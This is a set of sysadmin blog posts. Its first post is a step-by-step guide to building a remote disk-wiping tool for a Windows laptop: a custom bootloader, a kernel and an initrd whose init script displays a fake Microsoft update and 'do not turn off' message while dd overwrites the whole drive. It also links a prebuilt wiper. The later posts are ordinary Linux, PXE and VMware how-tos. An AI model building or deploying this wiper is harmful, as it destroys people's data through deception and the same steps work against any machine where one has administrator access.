Remote wipe for Windows clients

I've recently had this situation where an employee was fired, and then refused to return 'his' laptop to the company. I cannot break into his home to return the hardware. But at least, I can make sure the software volume licences are really removed from the hardware. I did this with my own, self-built remote wipe function.

How to do a remote wipe of a Windows client that you own? WARNING: DO NOT use this method on other people's computers! Don't ever do vandalism, just use this to protect your data from thieves.

Prebuilt software

Below is a manual on creating software to wipe a system. You may also download my prebuilt software. Unzipping this in the c:\ of your computer will wipe the harddisk.

Social solution for technical limitations

The bootsector of a harddrive is overwritten in a jiffy. But this can easily be restored with special tools. If you overwrite the whole harddisk, the data cannot be restored. But overwriting takes a lot of time.
If you're telling the thief "hey, i'm now overwriting the harddisk", he'll probably switch it off. So we need to scare the thief into not turning of the computer. I did this by printing a text "microsoft update being installed" and saying that the user should absolutely not switch off the computer.

Requirements

To build the software for a remote wipe, you need:

  • Administrator access to the stolen laptop
  • A virtual machine (like VMWare) to test it. An identical laptop would even be better, 'cause it has the exact same drivers.

Step 1. Build grub bootloader

You can build your own bootloader or use my grldr. Compiling on my x86_64 didn't work, use a 32 bit system (or fix the libs yourself)!

mkdir /tmp/bootloader
cd /tmp/bootloader
wget http://download.gna.org/grub4dos/grub4dos-0.4.4-src.zip
unzip grub4dos-0.4.4-src.zip
cd grub4dos-0.4.4
chmod +x configure build
vim stage2/boot.c
//edit line 298 and 960 and to scare the laptop thief into not switching off the computer.
make

In grub4dos-temp/grub4dos-0.4.4/ you'll find a file grldr. This is the grub bootloader. Copy it to the c:\ of the computer you want to wipe.

Step 2. Get yourself a linux kernel

I simply used the running CentOS kernel of my development machine, named /boot/vmlinuz-2.6.18-194.26.1.el5. I renamed this file to bzImage and copied it to the c:\ of the "victim".

Step 3. Make a initrd

With a regular Linux installation, all files are placed on a Linux (ext2, ext3, ext4, xfs or btrfs) partition. Unfortunately, we don't have such a partition. Thats why we put all tools in a initrd (initial ramdisk). We may need SATA drivers, so as a base we use the initrd associated with the kernel we use, which is /boot/initrd-2.6.18-194.26.1.el5.img

mkdir /tmp/initrd
cd /tmp/initrd
cat /boot/initrd-2.6.18-194.26.1.el5.img | gzip -d | cpio -id
cd bin
#Download a statically linked "dd" executable. (Or build it yourself)
wget https://www.geeklab.info/wp-content/uploads/2010/12/dd.zip
unzip dd.zip && rm dd.zip
cd ..

Now edit the file "init" to load all required drivers, make /dev nodes and finally wipe the system. My init file contains:

#!/bin/nash
echo
echo
# here I have 40 more echo's, like a "tput clear" without having the tput command
echo
echo
echo "Microsoft(TM) Windows(TM) is applying updates."
echo
echo
echo "Running pre-update checks:"
echo "- Windows kernel: OK"
echo "- Drivers: OK"
sleep 1
echo "- Diskspace: OK"
echo "- Disk fragmentation: Defragmentation required to continue"
sleep 1
echo " Defragmenting harddisk. This may take a while. Please wait..."
echo " WARNING: Do not turn off your computer to prevent damage"
echo ""
mount -t proc /proc /proc
mount -t sysfs /sys /sys
mount -o mode=0755 -t tmpfs /dev /dev
mkdir /dev/pts
mount -t devpts -o gid=5,mode=620 /dev/pts /dev/pts
mkdir /dev/shm
mkdir /dev/mapper
mknod /dev/null c 1 3
mknod /dev/zero c 1 5
mknod /dev/urandom c 1 9
mknod /dev/systty c 4 0
mknod /dev/tty c 5 0
mknod /dev/console c 5 1
mknod /dev/ptmx c 5 2
mknod /dev/rtc c 10 135
mknod /dev/tty0 c 4 0
mknod /dev/tty1 c 4 1
hotplug
mkblkdevs
insmod /lib/scsi_mod.ko
insmod /lib/libata.ko
#insmod /lib/sata_via.ko #or other drivers
mkblkdevs
dd if=/dev/zero of=/dev/?da #either sda or hda

Warning: You may need drivers to access the harddisk, for instance ahci.ko. Check the "victims" chipset and load the correct drivers.
Finally, merge the files to 1 initrd file: find ./ | cpio -H newc -o | gzip > /tmp/initrd.gz and copy it to c:\ of the "victim".

Step 4: menu.lst

Create a file named menu.lst and place it in c:\

default 0
timeout 0
title Installing update
kernel (hd0,0)/bzImage quiet
initrd (hd0,0)/initrd.gz

Step 5: boot.ini

The hidden system file c:\boot.ini contains information for the ntldr bootloader windows uses. Remove the system and hidden attributes. Then edit boot.ini to contain the following information:

[boot loader]
timeout=0
default=c:\grldr
[operating systems]
c:\grldr="MSWIN Updater service"

Step 6: Check

The c:\ of the "victim" now contains:
c:\grldr
c:\menu.lst
c:\bzImage
c:\initrd.gz
c:\boot.ini
Check that all files exist.

Step 7: Reboot

With psshutdown (part of microsoft's pstools) reboot the "victim": psshutdown \\computer -r -t 0. Don't wait for the "victim" to reboot his computer, he may not reboot it but suspend instead.

© GeekLabInfo Remote wipe for Windows clients is a post from GeekLab.info. You are free to copy materials from GeekLab.info, but you are required to link back to http://www.geeklab.info

1 Star2 Stars3 Stars4 Stars5 Stars (4 votes, average: 4.50 out of 5)
Loading...

Google Talk on Fedora 13

Since a few days, Google has this great feature that allows you to dial land lines from your gmail account. Unfortunately, they are only shipping a Linux client for Debian/Ubuntu. I'm using a custom repository with a lot of custom-build RPMs, and I really don't feel like switching away from RedHat-style for servers and clients.

How to use the .deb file on Fedora?

  • First, go to gmail and click on the "call" icon in the left sidebar
  • Download the .deb file offered. I use x86_64, so I get the file google-talkplugin_current_amd64.deb
  • Start a shell
  • mv [filename] /tmp
  • mkdir /tmp/googletalk
  • cd /tmp/googletalk
  • now, extract the file: ar vx ../google-talkplugin_current_amd64.deb
  • you get 3 files, control.tar.gz data.tar.gz and debian-binary
  • extract data.tar.gz: tar zxvf data.tar.gz
  • I don't want the google crontab, which of course is debian-based, so I only copy relevant files: cp -R opt usr /

Now, on a Debian based system, we would be ready. But on Fedora, some lib versions are incorrent. Link to the correct files:

  • cd /lib
  • ln -s libssl.so.1.0.0a libssl.so.0.9.8
  • ln -s libcrypto.so.1.0.0a libcrypto.so.0.9.8

Restart Firefox. Now you're done.

© GeekLabInfo Google Talk on Fedora 13 is a post from GeekLab.info. You are free to copy materials from GeekLab.info, but you are required to link back to http://www.geeklab.info

1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
Loading...

MS Core fonts on Fedora 13

Due to copyright issues, Fedora cannot include the "core" fonts Arial, Times, Verdana etc. Instead, Fedora offers an alternative under the name "Liberation fonts". Well, great. Except that 99,9% of all documents received use these core fonts, and I'm not planning to do a find and replace with each and every document I open.

So, I'm sorry to say this: I think trying to replace the core fonts is simply stupid.

How to build your own font package

wget https://www.geeklab.info/wp-content/uploads/2010/06/msttcore-fonts-2.0-3.spec
yum install rpm-build cabextract
rpmbuild -ba msttcore-fonts-2.0-3.spec

Now install your package

sudo rpm -i ~/rpmbuild/RPMS/noarch/msttcore-fonts-2.0-3.noarch.rpm

© GeekLabInfo MS Core fonts on Fedora 13 is a post from GeekLab.info. You are free to copy materials from GeekLab.info, but you are required to link back to http://www.geeklab.info

1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
Loading...

Backup your CMOS from Linux

I just had to backup a remote CMOS from a remote server to a local machine. How do you do this, without going to the datacenter?

Backup

modprobe nvram
cat /dev/nvram > /etc/nvram.conf

Restore

modprobe nvram
cat /etc/nvram.conf > /dev/nvram

Warning

This method probably only works if the hardware is exactly the same and the bioses of both systems have the exact same version.

© GeekLabInfo Backup your CMOS from Linux is a post from GeekLab.info. You are free to copy materials from GeekLab.info, but you are required to link back to http://www.geeklab.info

1 Star2 Stars3 Stars4 Stars5 Stars (1 votes, average: 5.00 out of 5)
Loading...

PXE Boot with old-style dhcp and tftp

In this article I'm covering the use of old-style dhcp and tftp, which is useful for company networks that have/need a complete dhcp server running. Personally, for smaller setups, I now prefer dnsmasq to do the job.

Booting from PXE

With most modern onboard and PCI network interface cards (NICs), it's possible to boot from the network. This system is called PXE.

Why would I want to boot from the network?

  • For installation of a computer without using CDs/DVD's
  • For thin clients
  • For booting diagnostic software
  • What is needed for PXE Boot?

  • a network card that supports PXE
  • a bios that supports plugin boot cards
  • a DHCP server
  • a TFTP server
  • some (open source) software you want to run
  • How to set up PXE boot?

    As I'm running (a variant of) RedHat Linux, I only cover how to set up PXE boot using Linux components. But there are Windows solutions as well. (Google it!)

    Step 1: set up DHCP

    When the NIC boots, it needs to get IP settings. Setup dhcp as usual. Now add these lines to the configuration:
    next-server 192.168.1.254;
    filename "/pxelinux.0";

    In the place of 192.168.1.254, you need to enter your own tftp server address.

    On my RH system, I installed the dhcp server using yum install dhcp, then configured /etc/dhcpd.conf as follows:

    ddns-update-style ad-hoc;
    authoritative;
    log-facility local0;
    default-lease-time 86400;
    max-lease-time 86400;
    subnet 192.168.1.0 netmask 255.255.255.0{
    range 192.168.1.100 192.168.1.200; #limited range
    option subnet-mask 255.255.255.0;
    option broadcast-address 192.168.1.255;
    option routers 192.168.1.254;
    option domain-name-servers 192.168.1.254;
    option domain-name "lan";
    next-server 192.168.1.254;
    filename "/pxelinux.0";
    }

    Step 2: set up TFTP

    Download and install a tftp server. Most Linuxes ship their own, which you can install using yum (RedHat), yast (SuSE), apt-get (debian/ubuntu) or similar.

    On my RedHat, I install a tftp server by running yum install tftp-server. Then I enable it using /sbin/chkconfig tftp on and reload xinetd: /sbin/service xinetd restart.

    Step 3: download and install syslinux

    On my RedHat system, I install syslinux by running yum install syslinux. I then copy the syslinux.0 file to /tftpboot: cp /usr/lib/syslinux/pxelinux.0 /tftpboot

    Optional: Firewall

    On a default RedHat installation, the firewall is enabled. You may need to open port 67-69 for dhcpd and tftp to function and port 53 for DNS.

    Links

    More details are described on
    http://syslinux.zytor.com/wiki/index.php/PXELINUX

    © GeekLabInfo PXE Boot with old-style dhcp and tftp is a post from GeekLab.info. You are free to copy materials from GeekLab.info, but you are required to link back to http://www.geeklab.info

    1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
    Loading...

    Running VMWare Remote Console outside the browser

    Firefox 3.6 update broke my VMWare WebAccess.

    Since I updated to Firefox 3.6, I have not been able to run the vmware remote console plugin anymore. Running Linux, this is a pretty important program, as there is no vSphere client for Linux.

    How to run VMWare Console from the bash shell?

    cd /tmp
    IP=the.esx.srv.ip # < fill in esx server ip address here
    wget --no-check-certificate https://$IP/ui/plugin/vmware-vmrc-linux-x86.xpi
    mv vmware-vmrc-linux-x86.xpi vmware-vmrc-linux-x86.zip
    cd ~
    mkdir -p bin/vmwareconsole # make directory bin in your own homedir
    cd bin/vmwareconsole
    unzip /tmp/vmware-vmrc-linux-x86.zip
    cd ~/bin
    ln -s vmwareconsole/plugins/vmware-vmrc . # make a symlink for easy access
    vmware-vmrc # run the console

    © GeekLabInfo Running VMWare Remote Console outside the browser is a post from GeekLab.info. You are free to copy materials from GeekLab.info, but you are required to link back to http://www.geeklab.info

    1 Star2 Stars3 Stars4 Stars5 Stars (11 votes, average: 5.00 out of 5)
    Loading...

    Use VNC to Access VMware ESX guests

    While browsing through the ESX 4.0 screens, I stumbled on the firewall option to enable or disable access to a VNC server. That was reason for me lookup a way to use this VNC server.

    It appears that ESX 4.0 has a built-in VNC Server which you can use to manage your virtual machines. You can login from machines that you don't have the vSphere client installed on. For example, Linux systems or  that nice little HP Thin Client I have here. Some may even use it as a backdoor.

    Basics

    • This VNC connection is a console view, just like when you're using a KVM switch.
    • Yes, you can access the BIOS.
    • It's a pretty basic way of accessing guests. It does not have advanced functions like poweron/poweroff, reconfiguration and stuff. Use the VMWare Server Console or the VMWare MUI web interface for that.
    • It must be enabled per-guest.
    • Connect to the IP/hostname of the ESX server - not the IP/hostname of the guest!
    • The VNC server for each VM guest you connect to will have a different display number.
    • Display numbers and tcp port numbers are linked: display 0 = port 5900, display 1 = port 5901

    How it works

    1. Switch off your VM Guest.
    2. Add a few lines to its configuration.
    3. Switch on your VM Guest
    4. Connect to the IP/hostname of the ESX server - not the IP/hostname of the guest!

    The actual configuration

    RemoteDisplay.vnc.enabled = "TRUE"
    RemoteDisplay.vnc.password = "your_password"
    RemoteDisplay.vnc.port = "5900"

    You can apply these settings by editting the .vmx file manually using ssh or the Datastore browser. Or you can use the gui:

    • Select the right VM Guest in your vSphere client.
    • Right click and choose "Edit settings"
    • Go to the "Options" tab
    • Under "Advanced", choose "General".
    • Click on the "Configuration Parameters" button.
    • Add the configuration parameters
    • Click OK
    • Click OK
    • That's all folks.

    Firewall

    You will need to open the firewall to allow incoming VNC connections. You can find this in the ESX hosts configuration > Software:Security profile > Properties. Or you could run "esxcfg-firewall -e vncServer"

    © GeekLabInfo Use VNC to Access VMware ESX guests is a post from GeekLab.info. You are free to copy materials from GeekLab.info, but you are required to link back to http://www.geeklab.info

    1 Star2 Stars3 Stars4 Stars5 Stars (9 votes, average: 4.22 out of 5)
    Loading...